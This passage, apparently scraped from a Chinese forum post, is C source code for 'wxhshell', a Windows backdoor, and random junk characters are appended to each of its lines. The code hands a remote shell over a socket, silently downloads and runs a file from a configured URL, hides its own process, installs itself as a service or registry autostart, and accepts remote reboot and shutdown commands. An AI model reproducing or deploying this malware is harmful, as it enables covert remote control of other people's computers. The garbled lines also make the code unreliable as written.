  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F)^0R%{C  
  } ~|+ ~/  
  else { b@Oq}^a&o  
E5ce=$o  
    switch(cmd[0]) { "-Q+!byh  
  /lBK )(  
  // 帮助 ~lj[> |\Oj  
  case '?': { E 2n z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?o " Vkc:  
    break; W"NI^OX  
  } K[z)ts-  
  // 安装 *] i hc u  
  case 'i': { jWrU'X  
    if(Install()) X)b$CG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P[3i!"O>  
    else 4aXIRu%#7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1/}H 0\9'  
    break; 8 lggGt  
    } ,2M}qs"P7G  
  // 卸载 [Hh-F#|R  
  case 'r': { b>-DX  
    if(Uninstall()) *#=Ijr~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nR_Z rm  
    else :G _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W==~ 9  
    break; 2R/|/>T v  
    } 9!( 8o  
  // 显示 wxhshell 所在路径 T\l`Y-vu  
  case 'p': { *tXyd<_Hd  
    char svExeFile[MAX_PATH]; d(q1 ?{zr4  
    strcpy(svExeFile,"\n\r"); p@tg pFt  
      strcat(svExeFile,ExeFile); *[si!e%  
        send(wsh,svExeFile,strlen(svExeFile),0); p'jc=bL E  
    break; =5|7S&{  
    } T fLqxioqZ  
  // 重启 J"r?F0  
  case 'b': { :q9!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~i.*fL_Y  
    if(Boot(REBOOT)) a-NTA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }N g P`m  
    else { Rc1j^S;>  
    closesocket(wsh); 7e"}ojt$  
    ExitThread(0); 8['R D`O  
    } kdNo<x1o  
    break; T[\1=h]  
    } AB3_|Tza~&  
  // 关机  YSD G!  
  case 'd': { y7HFmGM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '09|Y#F  
    if(Boot(SHUTDOWN)) (y9KO56.V&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dFz"wvu` o  
    else { 6GxLaI  
    closesocket(wsh); &S>{9 y%  
    ExitThread(0); FV^jCseZ  
    } 6`e{l+c=F  
    break; 7]VR)VAM  
    } ~,)jZ-fw  
  // 获取shell uxfh?gsL  
  case 's': { DDrR9}k  
    CmdShell(wsh); iH(7.?.r  
    closesocket(wsh); <i~xJi%1#  
    ExitThread(0); \J^#2{d  
    break; hr vTFJ  
  } &=@{`2&  
  // 退出 im>(^{{r&  
  case 'x': { qb"S   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gFaZ ._  
    CloseIt(wsh); D$ds[if$U,  
    break; Hv;xaT<}V  
    } u BEw YQB  
  // 离开 qDdO-fPev  
  case 'q': { !ku}vTe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'kd}vq#|  
    closesocket(wsh); `O\>vn  
    WSACleanup(); ;<+efYmyc  
    exit(1); zx#Gm=H4  
    break; Ud/>oaW?s  
        } m\>gOTpA4  
  } Y|tHU'x  
  } `D+zX  
Olzw)WjG  
  // 提示信息 Wdd}y`lS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DGvuo 8  
} :;%Jm  
  } V(S7mA:T  
pCKP{c=6Q  
  return; /2K"Mpf8  
} _pdKcE\X  
I\)`,w  
// shell模块句柄 J9T2 p\5  
int CmdShell(SOCKET sock) 7@c!4hmrU  
{ Myc-lCE  
STARTUPINFO si; $LXa]  
ZeroMemory(&si,sizeof(si)); XCM!8x?K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j97+'AKX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^|/mn!7wD  
PROCESS_INFORMATION ProcessInfo; ?mH=3 :~  
char cmdline[]="cmd"; Y:\msq1xp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zhJeTctRz  
  return 0; PD&e6;rj;  
} o#m31* o  
)LP'4*  
// 自身启动模式 D6ZHvY8R  
int StartFromService(void) MdBmq/[O  
{ oG,>Pk  
typedef struct O,%UNjx9K  
{ mE~ WE+lw9  
  DWORD ExitStatus; y [Vd*8  
  DWORD PebBaseAddress; +<E#_)}`D6  
  DWORD AffinityMask; J^+w]2`S  
  DWORD BasePriority; F,_L}  
  ULONG UniqueProcessId; A{_CU-,  
  ULONG InheritedFromUniqueProcessId; v47' dC  
}   PROCESS_BASIC_INFORMATION; ".}R$ W  
WuK<?1meN  
PROCNTQSIP NtQueryInformationProcess; V!:!c]8F  
8\{!*?9!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ai 4k?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hDXTC_^s  
*;Kp"j  
  HANDLE             hProcess; bm#5bhX\|  
  PROCESS_BASIC_INFORMATION pbi; R}oN8  
'o&d!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7-S?RU]g  
  if(NULL == hInst ) return 0; lT[,w9$  
YnpN -Y%g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vP{i+s18B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eU"yF >6'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?+}Su'pv}  
9a_P 9s3w  
  if (!NtQueryInformationProcess) return 0; Yc#Uu8f-  
9R=avfI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZA=J`- >k  
  if(!hProcess) return 0; h2Q'5G  
I"&cr>\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {\>4)TA  
Zfs-M)  
  CloseHandle(hProcess); h3F559bw/<  
$:s@nKgnD~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bidFBldKl  
if(hProcess==NULL) return 0; bd /A0i?C  
a8xvK;`  
HMODULE hMod; qT?{}I  
char procName[255]; W*LC3B^  
unsigned long cbNeeded; t|@5 ,J  
SGKAx<U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &YIL As^8A  
M~zI;:0O  
  CloseHandle(hProcess); O/eZ1YAC  
?;tPqOs&  
if(strstr(procName,"services")) return 1; // 以服务启动 z$&B7?  
|5flvkid  
  return 0; // 注册表启动 >33=0<  
} _`gF%$]b  
56C8)?  
// 主模块 mAlG }<  
int StartWxhshell(LPSTR lpCmdLine) K+Him] b  
{ yl$Ko  
  SOCKET wsl; 1ZF KLI`V  
BOOL val=TRUE; 1(;{w +nM  
  int port=0;  r(^00hvH  
  struct sockaddr_in door; |?KYY0  
D:k< , {  
  if(wscfg.ws_autoins) Install(); K qJE?caw  
kw59`z Es  
port=atoi(lpCmdLine); ,X/j6\VBO  
:}_hz )  
if(port<=0) port=wscfg.ws_port; ?q6#M&|j/I  
=Ji[ ;wy@  
  WSADATA data; .$~3RjM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i?^L",[  
2wpJ)t*PF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1tbA-+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q&=z^Ln!G  
  door.sin_family = AF_INET; Wl3S]4A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^S|qGu,G  
  door.sin_port = htons(port); \zU<o~gs  
xR-;,=J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {)Wf[2zJ  
closesocket(wsl); ?Nt(sZ-  
return 1; pnu?=.O  
} N:|``n>  
\(LD<-a  
  if(listen(wsl,2) == INVALID_SOCKET) { fDYTupKXH  
closesocket(wsl); ]D nAW'm  
return 1; ^m7y=CJM  
} 4lPO*:/  
  Wxhshell(wsl); 0$Tb5+H5  
  WSACleanup(); QP~["%}T  
bEF2- FO  
return 0; Qw_uwQZ)  
>!5RY8+  
} @Yt394gA%\  
<IWg]AJT :  
// 以NT服务方式启动 C6c*y\O\7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r?)1)?JnHe  
{ 6!i`\>I]  
DWORD   status = 0; "PMJh3q  
  DWORD   specificError = 0xfffffff; cKYvNM  
5H Cw%n9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {zZ)JWM<w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; = V')}f~C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '-myOM7  
  serviceStatus.dwWin32ExitCode     = 0; 6}Y==GP t  
  serviceStatus.dwServiceSpecificExitCode = 0; [!U%''  
  serviceStatus.dwCheckPoint       = 0; -f?  
  serviceStatus.dwWaitHint       = 0; ~> )>hy)  
_#M4zO7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5ppr;QaB  
  if (hServiceStatusHandle==0) return; A*BN  
b81^756  
status = GetLastError(); `[$>S  
  if (status!=NO_ERROR) ty5# a  
{ :Xy51p`.;]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NcbW"Qv3  
    serviceStatus.dwCheckPoint       = 0; Z>UM gu3c  
    serviceStatus.dwWaitHint       = 0; 8nZ_.  
    serviceStatus.dwWin32ExitCode     = status; nt"\FZ*;3  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fr50hrtkU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mfj%-)l9  
    return; `i|!wD,=\  
  } ")9^  
K 91O$'J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y*b$^C%2  
  serviceStatus.dwCheckPoint       = 0; X\BFvSv8C  
  serviceStatus.dwWaitHint       = 0; Iep_,o.Sk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fhn$~8[_A  
} 'hu'}F{  
\Dl MOG  
// 处理NT服务事件,比如:启动、停止 3\ ]j4*i!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cRs\()W  
{ ^PC;fn,I  
switch(fdwControl) cY+fZ=  
{ x _kT Wq  
case SERVICE_CONTROL_STOP: qYoU\y7  
  serviceStatus.dwWin32ExitCode = 0; 7*K2zu3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x?rd9c  
  serviceStatus.dwCheckPoint   = 0; / \qzTo  
  serviceStatus.dwWaitHint     = 0; d l Ab`ne  
  { l ?b*T#uIk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ouyZh0 G  
  } 'h;qI&  
  return; w^cQL%  
case SERVICE_CONTROL_PAUSE: cjtcEW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1Z?uT[kR  
  break; ]2ab~ gr  
case SERVICE_CONTROL_CONTINUE: !r6Yq,3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [ Y{  
  break; SnX)&>B  
case SERVICE_CONTROL_INTERROGATE: ``]NB=N}{1  
  break; ltrti.&  
}; ajG_t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !yi*Zt~  
} Ve9) ?=!  
e34g=]"  
// 标准应用程序主函数 K}N~KDW R|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d" 0&=/  
{ Ya~Th)'>q  
Z6M qcAJ3j  
// 获取操作系统版本 +t-_FbFh3D  
OsIsNt=GetOsVer(); %jx<<hW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ci+a jON  
?ecR9X k  
  // 从命令行安装 ~("bpS#ZgD  
  if(strpbrk(lpCmdLine,"iI")) Install(); -ert42fN  
XL44pE m  
  // 下载执行文件 `c ^ ">L  
if(wscfg.ws_downexe) { [uJS. `b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) InRRcn(  
  WinExec(wscfg.ws_filenam,SW_HIDE); =/xx:D/  
} mm*nXJ  
uwi.Sg11  
if(!OsIsNt) { 4Q1R:Ra  
// 如果时win9x,隐藏进程并且设置为注册表启动 , ExY.'%1  
HideProc(); ,*9gy$  
StartWxhshell(lpCmdLine); yW*,Llb5  
} vV=rBO0a?  
else Piw i  
  if(StartFromService()) GBBp1i  
  // 以服务方式启动 ru/{s3  
  StartServiceCtrlDispatcher(DispatchTable); #N|JC d_  
else ,y-!h@(  
  // 普通方式启动 T tWzjt  
  StartWxhshell(lpCmdLine); o:*$G~. k  
V@y&n1?6  
return 0; f8UJ3vB  
}
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只看该作者 1 发表于: 2006-10-10
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